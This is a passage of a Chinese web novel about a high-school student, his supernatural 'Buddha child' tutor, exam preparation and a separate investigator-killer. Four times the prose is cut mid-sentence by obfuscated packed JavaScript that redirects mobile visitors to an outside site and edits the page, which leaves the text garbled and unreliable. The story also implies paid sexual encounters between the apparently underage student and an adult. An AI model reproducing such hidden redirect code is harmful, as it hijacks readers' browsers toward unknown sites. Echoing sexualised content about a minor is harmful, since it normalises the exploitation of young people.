施霜景昨晚睡觉前硬拉着罗爱曜去洗了澡,同时做“清理”。施霜景认为,他们就应该养成这样良好的上床习惯,做完就及时洗澡。如果不是罗爱曜拦着,施霜景能半夜就把床单全换了。他是个思想简单的高中生,一日不过吃饭、写作业、做家务、睡觉、起床,然后再吃饭……早上醒来,第一件事是查看手机银行账户,新入账三十万。昨晚的举动就更显得像是施霜景故意而为之了,仿佛有个小人在施霜景耳畔奚落:“你不就是想要钱。” 要说舒服,昨晚好像是施霜景做过这么多回里最舒服的一次。舔那里不会很奇怪吗?不,不仅是奇怪,甚至应该算有点……唉,算了,不好形容。施霜景觉得罗爱曜没有玩弄他的意思。这样就足够了。 枕边没人,倒有只猫。施霜景将脸埋进玉米的绒毛里,他好久没给玉米打针了。当初将玉米从医院接出来,医生说还要在家坚持注射药物,施霜景没坚持两天就放弃了,冰箱里的药却在减少。后来才知道原来是罗爱曜在给玉米打针。这是佛子实现人愿望的方法吗?向他许愿猫猫身体健康,罗爱曜就给玉米打针。 施霜景只是有点不知道,如果罗爱曜不再和他做会怎么样。做过就踏实了。好像不再给钱也可以的。哪有人做一次给几十万的?这真把钱搞得像冥币一样了。呸呸呸。施霜景掀起被子坐起来,玉米醒转,懒散地踏出被窝。 “你怎么在客厅?”施霜景看见罗爱曜坐在沙发上。 “没什么。” 施霜景放下卫衣下摆,盖住赤裸的腹部。“罗老师,下个星期三、星期四要一诊,去隔壁县的高中。今天已经星期四了。我要不要做两套卷子?” “做什么卷子?模拟卷吗?做完也就二百多分。抱着希望去考一诊,考下来也是二百多。”罗爱曜依旧嘴毒,“按部就班复习去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480736|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施霜景斜坐着餐桌,大方承认道:“我知道我就是二百多的水平。张国强说,考试是要练的。” “那你按张国强教你的去练就行了。” “佛子,你吃火药了?我只是想问你有没有卷子让我做。” 罗爱曜往风洞里投莲花法器,半个晚上没结果,就泄愤到施霜景身上。罗爱曜不说。施霜景就对此一概不知。但施霜景也不惯着罗爱曜,“白天要自习,我不和你做。你老让人猜,我又猜不中,那我也没办法。我一诊就只能考二百多,你也认了吧,佛子哥,你还是得教我这个二百多分的,少一天都够呛。” 罗爱曜深吸一口气,撑着膝盖站起来,不是喜欢学习吗,那就继续学。 经昨天一晚的提醒,罗爱曜今天收敛了他那些侮辱人的比喻。施霜景已经复习到第二本数学必修课本了,不管做题正确率如何,施霜景一直在按罗爱曜给的方法做,这无可指摘。施霜景小心观察,大胆求证,终于在傍晚得出结论:罗爱曜好像是干什么事失了手,这件事应该跟施霜景无关。 到第三天,是周六,罗爱曜清点了自己的所有莲花法器,一枚都没少,但一枚也没用上。他往风洞里投了这么多法器,既没有找到出口,也没有消灭个一只半只的“老鼠”。这些莲花怎么去就怎么回,原路返回。这风洞背后仿佛接连了一个巨大的迷宫。 “施霜景,你都会做数列题了??”杨玲玲偷看施霜景的课外辅导卷,十分惊讶。 “嗯,这道跟书上例题差不多。” 周末来家里补习的女家教名叫李婉萦,当初罗爱曜回酒店面试的周末家教。李婉萦这是第三次来施霜景家,她的任务就是研究高考卷,根据罗爱曜的复习进度来给施霜景按题型补课。 杨玲玲接到施霜景电话的时候非常惊讶,她还以为施霜景的“表哥”在开玩笑。做“表哥”的时候穿皮衣牛仔裤,做“舅舅”的时候穿风衣戴眼镜,杨玲玲没去问这抓马背后的原因。施霜景复述罗爱曜的意思,反正就是让杨玲玲每周六来一起补习,先补到明年二月份吧,给五百块就行。杨玲玲背着书包就来了。 李婉萦是全科家教,虽不是清华北大毕业,但她是从更贫穷的地方自力更生考上来的,知道这些高中的水平和德行,也明白该从哪里入手教这些基础不好的学生。 罗爱曜在自己的办公室里闭门不出。李婉萦在客厅的小黑板上边讲题边做板书。 “马上要元旦了,年级的元旦联欢会你来不来?”课间,杨玲玲问施霜景。 “我不知道。” “你元旦还补课啊?” “嗯,我没有假期。” “你现在应该不用出去打工了吧。挺好。”杨玲玲说,“就之前厂里很多葬礼那阵,之前我妈在城里不回来,那段期间她突然决定回来陪我考试,家里的棋牌室也不开了。我也挺好。” “你妈在城里的时候,你也要开棋牌室吗?” “还是要开吧,不开就没钱啊。”杨玲玲锉着橡皮,头也不抬道,“挺烦的,老是有不三不四的人来……算了,不说这个。元旦联欢会,去不去?你不是喜欢唱歌吗?高中三年我们都没听你开过口,你最后一年总要上台唱一唱吧?” “我唱歌不好听。” “谁说的?我关注了你的账号,你唱得很不错啊。不行,你一定要来。”杨玲玲笃定道。 施霜景又不是没参加过元旦联欢会。他们这一级高三学生格外少,就两个班,尽管每个班都有差不多六十号人。高一的联欢会,施霜景吃了两个小时的小零食,给自己吃得直上火。高二的联欢会,施霜景早退了,要进城打柠檬茶,放假期间工资翻倍。 今年的联欢会啊……唱歌吗?会不会有点不知所谓? 总之施霜景把这件事装进肚皮里,考完一诊再说。 励光厂看守所。违法行为人有多个处罚合并执行时,最多拘留二十日。庄晓今天离开看守所。 查到锐器,查到这么多失踪人口的证件,但有关逻辑的任何线索一律没有。警察很想多找罪名再关押庄晓一段时间,很可惜没给他们找到机会。庄晓办好手续,领到自己的所有物品。当天看守所里发生了一件没有任何人能解释的怪事,警察追出大门,把庄晓请回去又多留了几个钟头,交待庄晓不能离开励光厂,可能随时还会传唤他,庄晓答应。 琪琪爸失踪了,在所有警察眼皮子底下失踪,在摄像头遍布的看守所失踪。同一监室的人,不论怎么做笔录,都不能解释琪琪爸到底发生了什么。庄晓离开监室的时候琪琪爸还没失踪,可庄晓从看守所大门出去的时候,琪琪爸人间蒸发。就在这短短的时间差中,人能去哪里? 冬天太冷了,不下雪的励光厂比下雪时更冷,冷彻入骨。庄晓穿着薄外套,手插进大衣兜,不停地开合着机械怀表的翻盖。 他很紧张。 62.旧日幸存者篇(十四) 果真如罗爱曜所说,施霜景在考前用往年考卷自测的后果只有取得一个不出意外的低分,被努力和分数的兑换比例狠狠羞辱……开玩笑的。施霜景没有那么容易被羞辱。不就是二百多分吗,施霜景抖着四张A3开本答题纸,罗爱曜用红笔改过卷,总分怎么加都是二百二十二。 比他月考还低。 施霜景这周三和周四一诊,考两天,完完全全模拟高考环境,于是他打算周一前至少把每个科目的卷子都做一做试试看。罗爱曜还用红笔圈出了一些题,他不打算把整张卷子都讲一遍,施霜景还没复习到这些知识点,没必要。 周三早上学校会安排大巴车,送高三学生去隔壁县考试,考完再一波接回来,就连陪考都不需要。班主任十分不建议家长自己接送孩子去考试,一些家长粗心大意起来没完没了,净耽误人。 太平和了。甚至有点太枯燥了。鬼子母神的事件就跟假的似的,刚来励光厂一周就闹出惊天动静的罗爱曜也跟假的似的。施霜景和罗爱曜的互动说多不多,说少也不少,总归是在几个不同的室内打转。施霜景无聊时候还能上上K歌房,和群里的小伙伴聊聊天。罗爱曜的爱好是什么?人一到考前就容易各种乱想,反正是无心复习了。 “佛子,你把自己关在办公室里都在干什么?备课吗?” 施霜景扫着家里地板,佯装随意地问沙发上的罗爱曜。 “我有我的事要做。” “帮人实现愿望?” “我有一些信徒,我确实会‘帮’他们实现愿望。但我的信徒很老实,他们知道急切实现愿望的代价很重,一般不会向我发愿。我与我的信徒间有默契。有时人们许愿的样子像在差遣神明,我的信徒不敢这么做,他们只是‘相信’而已。” 施霜景停下,拄着扫把竿,“不懂。” “你去寺庙许愿,想的是‘求菩萨保佑我升官发财’,但其实你的意思是‘菩萨帮我扫清升官发财路上的障碍并且把我捧上官位、送来财富’。这是‘帮’,也是‘差使’。我的信徒很长记性,不会许非常实际的愿望,每当他们遇见需要求佛的事宜,他们想的是‘我相信在佛子的保佑下我可以渡过难关’。信徒是渡过难关的主体,我是一个似有若无的助力。” 施霜景倏忽间流了几滴冷汗,他当时求神拜佛的方式就是前者……不对,应该是二者皆有?比如他说的是“让我赚到钱”,不是“保佑我发财”。这算吗?施霜景注意到罗爱曜的表情,好的,看戏的表情,应该是不算。 “许愿的方式好像很重要。”施霜景说。 “我太讲究了。”罗爱曜一点不为自己的讲究和龟毛感到抱歉,反而有点骄傲。 “抬脚。”施霜景扫地。 “你为什么突然问我这个问题?” “没有……我怕你会无聊。” 更无聊的事我也干过了。干一千年了。罗爱曜这样想道。而且罗爱曜根本不无聊。就算没有别的事找上他,他自己用电脑学习现代知识也挺开心的,比如今天罗爱曜就看了一下午的修车教程。罗爱曜非常泛滥自己的好奇心。 如果只是单论社交的多寡,罗爱曜每天找施霜景十几次甚至几十次,完全不觉得无聊。他有很熟练的杀时间技巧。 玉米跳上沙发另一端,一步一步踩过来,蜷在罗爱曜的大腿边准备再次睡短觉。罗爱曜和玉米已经从不熟转为了熟,该说不说,玉米还挺亲罗爱曜,一开始以为是罗爱曜的佛威压制,后来罗爱曜发现,他可能和玉米是有点猫缘的。奇特。罗爱曜的手找到玉米的下巴,轻轻地挠。 “我考完一诊就带玉米回医院复诊。你要一起去吗?” “可以。” 六十万为这个家和施霜景这个人带来了很多改变。施霜景依旧是个节俭的人,消费欲望也低,只是在吃住和着装方面稍微更善待自己一些了。 衣柜里施霜景的衣服开始变多,虽然全都还是不值钱货色,施霜景所有衣服价格加起来再翻个几倍都不抵罗爱曜一件毛衣或是外套。他新买了许多贴身保暖衣物,穿起来丑,可是施霜景喜欢。买多围巾几条、帽子几个。施霜景现在出去买菜戴的毛线帽很修饰他脸型。他真的是帅哥来着。长款的羽绒服,运动袜,运动用的跑鞋。施霜景甚至给玉米还添置了些四十九块包邮七八件的小衣服、小围兜,只是玉米从来不乐意穿,一套上就跟索它命一样,没几秒就用玉足给蹬下来了。 想吃的也都去吃。施霜景今年才发现,原来励光厂的外卖店不少。有几次施霜景不愿意做饭的时候就点外卖,K歌群的小亚教施霜景怎么膨胀外卖券。厂里一家卖羊肉的老店去过了,一次称了三斤的熟羊肉回来,煮一煮就是一顿羊肉火锅。韩式炸鸡和肯德基炸鸡有什么不一样吗?施霜景很喜欢吃炸红薯条沾酸梅粉。施霜景本来就挺喜欢喝牛奶,没钱的时候就经常去买临期盒装奶回来,现在换了厂家直供的本地鲜奶,好喝,天天喝,当水喝。给玉米买粮食就更不用说了,施霜景很怕钱会蒸发,一口气买了好几大袋猫粮在家囤着,再买了好几箱的罐头,不敢上最贵的牌子,但施霜景做了功课,有口碑的、外国的……什么都有。 猫和人都结实了。施霜景抱起玉米,像摇晃婴儿一样摇晃它,嘴里碎碎念,你好胖啊你知不知道,你在攒膘我知道的,你喵一声就当谢谢佛子了。喵。难道玉米你真能听懂人话?喵。你真是我的好宝宝。 这个周三的凌晨,庄晓发现,原来那个家里的守护神归位了。庄晓远远地站在楼下,抬头眺望。三楼一位,四楼或许还有一位。一位吗?两位吗?这些神从前都在哪里?庄晓转身离开,权当自己走错路、绕错道,假装没来过。希望这家的守护神不知道庄晓借他们的住所杀过多少人,但也希望这家的守护神知道那只肮脏的眼睛。 事情讲回到琪琪爸。 不论是琪琪爸,还是后面来踩点的人,他们都是释出的失败者。失败,意味着他们对祂不再有用,既然如此就不必要使用资源养着了。然而成功也不代表着一切都合乎心意。失败与成功,在错的背景和虚假的条件下,只是徒劳的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485811|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体两面。庄晓是个调查者。他与祂们打交道已八年。如果可以,庄晓不希望自己手上沾任何一个人的血。他是正常人,不是精神失常的犯罪者。他希望自己是正常人。不管庄晓怎么称呼自己,他因为知道太多而无法置之度外。 庄晓想,那只肮脏眼睛开始渴求新的人了。眼睛的信徒前赴后继,但眼睛并不在乎他们。这个地方,这个厂很古怪,眼睛让失败的信徒来,那眼睛知道我在这里吗?所以这里为什么会成为眼睛的不可见之处呢?真的全然不可见吗?庄晓脑子很乱,他的思绪再次飘忽,像网络信号很差。 庄晓要说,这一群可能来自远星的不速之客,和本就驻扎在这颗星球但只会酝酿巨大恶意的原住民,二者的可恶是共通的。然而在不速之客与原住民背后,是野蛮的鬣狗,等待着收割失落的信仰、落拓的旧神、枯朽的遗产以及无望的希望。鬣狗在游荡,庄晓就没有落脚之处。或许最肮脏的还是他自己,庄晓本人。 鬣狗的眼睛所注视的人,某种意义上和庄晓很像。那个高中生看起来很有希望的样子。高中生。那年刚认识祂,桌上铺有各色琳琅的新作,椰汁小方,舒芙蕾,拿破仑,挞……金灿灿的眼睛里是时间的倒影,倒影里浮出琳琅的过去。那年庄晓才大学毕业两三年,去过甜点学校进修,在认识恐怖之前先认识的是男人。直到今天庄晓也从来不说他是被一个男人骗了,首先祂不是人,其次庄晓是心甘情愿的,最后谁也不干净。 如果高中生有守护神,祂为什么会找上高中生?如果守护神真的有用,高中生的家为什么又会被祂所窥视?好复杂的关系。但庄晓久违地有些兴奋。老实说,他陷在鬣狗的叙事里已经整整八年了。八年来他有想过,如果世界上有这种奇幻,那还会有别的奇幻吗?没有的话会不会太没有天理、太不平衡了? 那位琪琪父亲已经离去了,像他这样的人,灵魂已经出卖给魔鬼过,应该没有资格转世投胎了吧?反正庄晓不希望自己有来世,这一闭眼就是永远闭眼。 庄晓知道励光厂这个地界有异常,祂的视野受限——这件事是庄晓推断出来的。小祂受限,那大祂也会受限。庄理安在这里突然变得非常老实,跟盲了一样。庄晓真的很心疼。祂应该是让失败者出来探路,或许还会找人。庄晓守株待兔,把他们中的大部分人都带到俱乐部的舞蹈教室杀了。故意让高中生知道自己存在,是为了进看守所,和琪琪父亲交谈上。从琪琪父亲那里,庄晓得到了许多有用的信息。 或许庄晓能在这一封闭的厂区里干成点什么事。至于那高中生,庄晓就不祝他好运了。庄晓不觉得守护神和祂会有什么区别。他们都瞧不起人类。 施霜景连考两天,考得那叫一个外焦里嫩。人考得有点脆皮,心像豆花一样不经戳弄,感觉自己真的没学上了。模拟高考时间表真的很吓人。 不知是罗爱曜有意还是无意,反正施霜景考完试了,罗爱曜才松口:“你不是想去元旦联欢会吗?元旦给你放一天假。白天你去参加联欢会,晚上我们和楼上的聚一聚。” 63.旧日幸存者篇(十五) 考完一诊当天,施霜景抄起玉米,装包,叫车,罗爱曜在施霜景的反复请求下,穿回了较为普通的羽绒外套与长裤,不要再穿成杂志男模了。这是带猫去复诊,不是去孔雀开屏。 “好久不见呀小施同学,玉米也是。”江医生刚看完上一只病狗,她摘手套,踩垃圾桶踏板,将手套扔进开口的垃圾桶,“这回有人陪你来啦?” “嗯。”施霜景将猫包放在桌上。罗爱曜眼睛一扫就看完了整间诊室,那么逼仄。 “这次还是要做血常规和生化哦。上次你在微信里问我玉米复诊的事,我让你去买宠物医疗保险,你买没有?” “买了。等待期也已经过了。” 江医生竖了个大拇指,“我们医院是门诊就可以赔付的。玉米要做检查,说实话开销不低。能省一笔是一笔嘛。” 这回玉米没生病,力气大了许多。它很不明白,为什么自己生龙活虎的还要来医院?施霜景差点没搂住玉米,只能朝罗爱曜使了使眼神,罗爱曜淡定地伸手,握住玉米的两只后爪,玉米一点不敢挣扎了。 剃毛叫,消毒叫,打针叫,玉米那个哀嚎啊。就连罗爱曜都忍不住吐槽:“这只笨猫演什么苦肉计呢。” 抽完血的玉米像个宝宝,往施霜景怀里钻,施霜景想把它装进猫包里,玉米不肯,就是要进施霜景的羽绒服。没办法,施霜景只好抱着玉米,和罗爱曜一起坐在诊室外的椅子上等结果。今天宠物医院人挺多,江医生和前台护士姐姐没有多余功夫闲聊。一只只大狗小狗从施霜景和罗爱曜面前走过,有女宠主经常望向这二人方向。 宠物医院里暖气开得足,施霜景的脸给吹得发热,他的魂还丢在考场里,耳朵还能幻听到考试结束的铃声。玉米拱他的肋骨。施霜景回神,对罗爱曜说:“佛子,我最近又开始做梦了。” “做什么梦?怎么这么多梦?”这完全不应该啊。不论现代科学如何解释,在此地的主张里,多梦是魂魄不稳、夜游的表现之一。有罗爱曜坐镇,施霜景怎么会多梦?还能有比佛更能镇魂灵的存在吗? 罗爱曜平时能读施霜景的心,但时时刻刻监控别人是种无能的表现,像梦境这种更潜意识的思维活动就更是远离罗爱曜的关注范围。施霜景冷不丁一提,罗爱曜忽生警惕。 施霜景的声音很轻,明明知道宠物医院里还有别人,但刚才脑子一懵就甩出这个话题,就只能聊:“我记不清了,但我记得那种感觉……在梦里像无头苍蝇一样乱窜,挺无助的,像是走迷宫走不出去,但恍恍惚惚间又能回来。” “多久了?” “一周左右吧。中间停了几天,这周三起又开始了。” “上周是什么时候?”罗爱曜一定要问个清楚。 “我想想,礼拜天没有,礼拜六没有……吗?不对,好像就是周五、周六两天。” “……” 罗爱曜静默了一阵,施霜景说完也当完成任务,不多提了。这时玉米这只小猫才从施霜景的羽绒服里探出脑袋来,大概是在衣服里被闷热了。施霜景捏捏玉米的原始袋,玉米无处可逃,又怕大狗,最终还是钻进一旁的猫包里去了。 大抵因为有罗爱曜在,等检查报告的时间没那么焦心和难熬,他总不会不管玉米吧?施霜景隐隐持有这样的想法。江医生拿着报告出来,说:“不错啊,我们小玉米的白球比已经恢复正常啦!我对比了一下上次的体检报告,这小胖猫体重竟然还能涨?你们要给玉米控制一下饮食,猫太胖了不好,会出心脏和泌尿系统的毛病。” 前台护士教施霜景怎么报宠物医保,罗爱曜正出神着,忽然恍然大悟。再一看向施霜景,罗爱曜那洞察人心的目光似乎收敛了,转成疑惑与意外的玩味。 数九寒冬,夜雪常有,西南省份的雪尖尖细细,太细了在地上就结成冰而不是堆成雪,冰比雪剔透,雪的白里藏污纳垢。这晚罗爱曜再次回收他的莲花法器,施霜景和猫睡得安详,浑然不知罗爱曜已将这房子标成了半间危房。罗爱曜不是很想再住下去,但不搞清楚就搬走显得格外难堪。愈是用成百上千枚莲花都探不清楚,罗爱曜就愈是好奇,风洞里是什么?为什么他猎不到风洞里那可能存在的玩意?那种油滑的恶意对上罗爱曜这样坦荡清澈的邪性,就必须要分出个高低。 往后几天,施霜景果然又不做噩梦了。一诊的分数要在元旦后才出来,张国强说便宜你们这帮高三学生了,哼哼,还能过个安心的元旦,真奢侈! 施霜景得到罗爱曜的同意,元旦不用补课。他从一诊结束那晚就开始选歌。大家喜欢听什么歌啊?抖音热歌?还是经典的?感觉唱粤语歌最有氛围吧,可惜施霜景完全不会唱。他绝不会在同学面前唱他喜欢的古风歌曲,感觉会被笑话。班上有些男生很看施霜景不爽。歌曲难挑,挑完了练习倒是简单的。施霜景在软件上一次次地刷自己的评分,小亚问他,你为什么要选这首啊?不是情歌吗?施霜景回复说,因为只有唱情歌同学才不会笑他,而且他唱这首很好听,是他门可罗雀主页里唯一评论超过二十条的歌。 元旦清早,施霜景比平时起床更早,他想早点到班里,帮忙挪桌椅、布置联欢会。 晚上要和郎放、蒋良霖一家下馆子,施霜景昨晚包好了饺子,早上就煮饺子和罗爱曜一起吃。一个个白胖胖的饺子带水捞起来,进冰冷瓷碗中就皱缩表皮。碗盘上桌,一个红包忽然递到施霜景眼前,施霜景茫然,反应过来之后笑道:“佛子,红包是过年才给,元旦不用发红包。” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485812|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。”罗爱曜将红包放在桌上,“我看他们说,吃饺子的时候长辈要给晚辈红包。” “那是吃新年的水饺。不过按日历来说,今天确实是新年。” 罗爱曜是施霜景的长辈,施霜景一想到过年会有罗爱曜的红包,脸上的笑就没有耷拉过。他今天就是很高兴。昨晚睡前就高兴。不知道为什么。新年新气象?“吃饺子,佛子。我煮了两个馅的,玉米猪肉和白菜猪肉。” 玉米适时地信步出场,罗爱曜夹起饺子朝玉米晃了晃,“你在里面。” “哈哈哈!玉米过来,我扒个饺子给你。”施霜景撕开饺子,吹凉了,地上早就准备好小碗,施霜景撕了两个玉米馅的饺子放进去,谁让玉米喜欢吃玉米呢。 “施霜景,你谈过恋爱?” “我?开什么玩笑。” “唱情歌唱得这么撕心裂肺,不明白你在‘怀念’什么。” “……”神经。 “红包不要?是谁说唱歌换钱的?” “原来是我唱歌的酬劳。谢谢佛子!”那施霜景就收了。比起罗爱曜动不动就以万计的转账,这红包非常薄,但这真是个好兆头,施霜景很喜欢。 施霜景在微信说话要活泼些,但他线下从不是那样的语气。施霜景打字快,说话则相反。但和罗爱曜相处久了,每天都有很多你来我往的话,现在施霜景说话的语速也提了起来,有时就会显得有朝气些。 如果能一直这样就好了。一瞬间施霜景忽然被氤氲热气迷住眼睛,筷子顿住。 后背一阵过电,施霜景马上低头叼住饺子,不愿多想。罗爱曜是要涅槃的。他现在招护法神不就是做这个用处吗?人家的大好前程,确实该去。就算是镜花水月也好,贪恋无罪。 “真不错真不错,这是节目表,你排中间!”杨玲玲给施霜景传了节目表电子版。 杨玲玲是班里的活跃分子,边指挥边动手移完了桌椅,就开始摆这些班费购买的零食。班里有人带了笔记本电脑和音响,咿咿呀呀地调试设备。施霜景研究节目单,排他前面的也是唱歌的,还是吉他弹唱。自弹自唱,牛啊。 班里同学大多与施霜景不熟,施霜景坐角落,不觉得这种不熟有什么问题。他错过太多班级活动了,而且这种疏离……现在想想,有部分是出于自卑。社交需要花钱,与人熟稔需要底气。施霜景在福利院长大,见过哥哥姐姐错误地向同学交心,最后却因为没有父母做靠山而被欺压侮辱。保持距离对施霜景安全。 施霜景伸手进书包找纸巾,摸到秃秃的金刚杵,还摸到另一个……这是什么东西?施霜景疑惑地大敞开书包,看见巴掌大的双面六臂佛,金灿灿又崭新,不是家里佛龛的铜鎏金。 施霜景垂眼笑了。 64.旧日幸存者篇(十六) 佛像小小的,精美异常。施霜景无聊,手指顺着佛面往下摸,不论是家里的还是手里的,这些佛像的长相与罗爱曜的脸可谓是一点关系都没有。圆润的耳垂,滑溜的胸腹,臂与臂之间的镂空磨得格外精细平滑。佛有一臂搭在盘坐的腿前,掌心外翻,手指触地,施霜景摸进佛的手心,却忽然发现手的质感竟然相像。施霜景把玩一阵,将佛像放回书包里,塞进桌膛。同学陆陆续续坐进来了,桌椅靠墙围成口字型,墙上没挂太多装饰,黑板上描出“元旦联欢会”五个字。 楼上楼下都喧闹,班与班之间有人互相探看。走廊上有旁边班级的女生在练习舞蹈,高一高二的学生更是开心,联欢会开始前还有一出小插曲,负责设备的男同学忽然被高二学妹表白,当下就手足无措了。他越慌,同学就越起哄,演吉他弹唱节目的同学忽然开始伴奏,全班都在看热闹。告白好像会传染。施霜景后来才听说,那天联欢会结束之后,班上竟然又多了几对情侣,都不知道是什么时候就说出真心话了。 施霜景今天要唱歌,在表演之前他都不打算碰这些零食。全班六十号人说少不少,但报出的节目也就十个。跳舞三个,唱歌三个,魔术一个,集体游戏两个,还有一个是老师联唱。主持人一男一女,杨玲玲和被告白的男生做场控。 魔术开场,一副扑克牌逗了半个班的人,开了好头。跳舞两场,玩了一个游戏,然后就到吉他弹唱。施霜景很紧张,他从来只在家里悄悄当浴室歌王,最多观众的时候也不过是K歌房聚会,团购了KTV包厢,大家疯唱,话筒传来传去,唱得好坏谁在意呢? 吉他男孩俨然习惯了他人的关注,他自己运营着社交媒体账号,虽然关注者寥寥,但他已经习惯了表演给别人看。他挎着吉他,离立式话筒的距离不远不近,声音刚刚好合适,弹得不错,唱得也不错,关键是他非常自信。男孩能一边演奏一边找到气口与同学互动,他选了一首很多人都会唱的歌,当他故意空出歌词时,有声音会接上。真是太厉害了。表演结束后施霜景鼓掌鼓得很用力。 轮到施霜景。 当所有人都坐着只有他站着,施霜景能看清每个人的表情。原来当老师真的对台下每个学生的情况都心里有数。施霜景左手握着手机,他将手机调成了暂时不会自动待机的模式,他很怕自己忘词。站定到话筒前,话筒偏矮,施霜景拔高立式话筒,一下又拔得太高,施霜景差点以为自己拔脱了长杆,赶紧调整。他在台上鼓捣一阵,就连台下的同学都看出他的紧张,杨玲玲起了个好头,示意鼓掌,同学们就也宽宏地响起掌声鼓励施霜景。 施霜景终于调整好话筒,朝场控点头,伴奏声响起。施霜景抿了抿唇,脑袋轻点,等伴奏。 大家没想到施霜景会唱这首。罗爱曜会八卦的问题,其他人只会更八卦。但施霜景选这首歌是正确的。略带难过的情歌太符合高中生的心理,有感情的人想感情,没感情的人第一次听这首,旋律好听,而施霜景唱得亦好听。 男孩的声音不如在家里唱歌那样放得开,音响设备的混响又弥补了这一点,显出一种谨慎的克制,更像那么回事了。这些将要活到十八岁的孩子们已有了怀念的人事物,唱给爱情的歌也能理解给友谊,再不济总有字字句句能贴上任何的感情。施霜景的声音在开放的环境里会外延出一种冰击的直脆质感,音色低,音高却不低。这令罗爱曜想起隆冬时节小沙弥伸长了竹竿,沿边敲打屋檐冰柱,冰柱落地迸裂的那声响,然寒风灌进鸿胪寺宝殿,玉幡击节,更胜冰音。 怀念不怀念的,时光不可倒流。 罗爱曜驾车,往励光厂的北方一路上开,中间驶过其他城市,抵达D市北边的领报修院,曾是天主教D市教区开展神职活动的主要场所。圣母领报修院在深山中,几乎刚上山就不方便车行了,罗爱曜找地方停好车,步行找进深山。 冬雾压得极低,雾中一片阴郁的惨绿,步行一段时间,领报修院的西式建筑忽然跳进自己眼中,像电影忽然的蒙太奇。此处应该是个小景点,不过今日是元旦,景点不开门,一路上罗爱曜没见到其他游人,就连安保都没有见到。睁眼,闭眼,再睁眼,熟练地切进自己的境界里,沉入相异的时间中。这里与地铁站有同样的场域,罗爱曜知道自己找对了地方。 他从天府广场站地底深处取得了一块粗糙残碑,一看就是新手刻的。罗爱曜读残碑上零星可识的文字,发现是文言译的《玫瑰经》。汉字刻碑很有难度,新手估计是在宽广石面上刻下的,所以这单手大小的残碑上不可能有太多信息。既然是文言译本《玫瑰经》,年代不会太晚。 《玫瑰经》是圣母玛利亚祷文,现在想来,天府广场站地底深处的人形核心将残碑拥在胸膛里,可以说他是种子,也可以说他是母体。罗爱曜很谨慎,没有借助这一物体来探查附加在物体上的人类因缘,这残碑光是存在于他的宝阁里就让他心神不稳。罗爱曜法身的琉璃美玉之空性不能抹去半分它的邪恶,倒是反衬出它那不可言说的凶险。 于是罗爱曜换了一个方式来靠近答案。他只以法身行动,以天府广场为中心,寻找拥有类似场域或邪恶气息的驻地。上周他找到了这间圣母领报修院,一切都对上了。罗爱曜懊恼,下次一定要先检索。还是急性子了。但上周施霜景考试,罗爱曜就决定推至今日行事,罗爱曜每天当家教,盯施霜景盯得紧,但反过来说,难道施霜景盯罗爱曜就不紧吗?施霜景以行动催促罗爱曜尽快处理残碑,可他估计也担心罗爱曜再消失个九天。 罗爱曜熟练地将自己的人身藏进虚空境界,法身伪装人身。经由他境界重叠的领报修院呈一副倾圮衰败的模样,现实的领报修院重建过数回,现实是大地震后的复原版本,呈现在罗爱曜眼前的残破领报修院却是比地震还早得多的版本。 施霜景的歌早已唱完,之后他要去和同学聚餐、看电影,晚餐时间大家直接在饭店见。罗爱曜的时间不算充裕,这回他记得时间流速之异常。 罗爱曜快步走往废墟中,穿行于独支的廊柱间,似一道鬼影。正中央的圣母堂遭毁坏最严重,约等于轰然倒塌,但罗爱曜走到正门处,望见里面已清理出供一人穿行的通道。 可惜罗爱曜已疲劳了。他在地铁里放纵了一次好奇心,现在是克制好奇心的时候。罗爱曜要做的只是销毁这残碑。 天府广场站地底的人形根系也好,那些肉眼不可见的针鼠也罢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485813|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是繁殖和寄生意象。如果那献祭自己的人类是母体,其父为谁?这是最亟待解决的问题。只不过,罗爱曜作为威力无尽的佛子,他几次闪现地铁中都没有感觉到活跃的威胁。 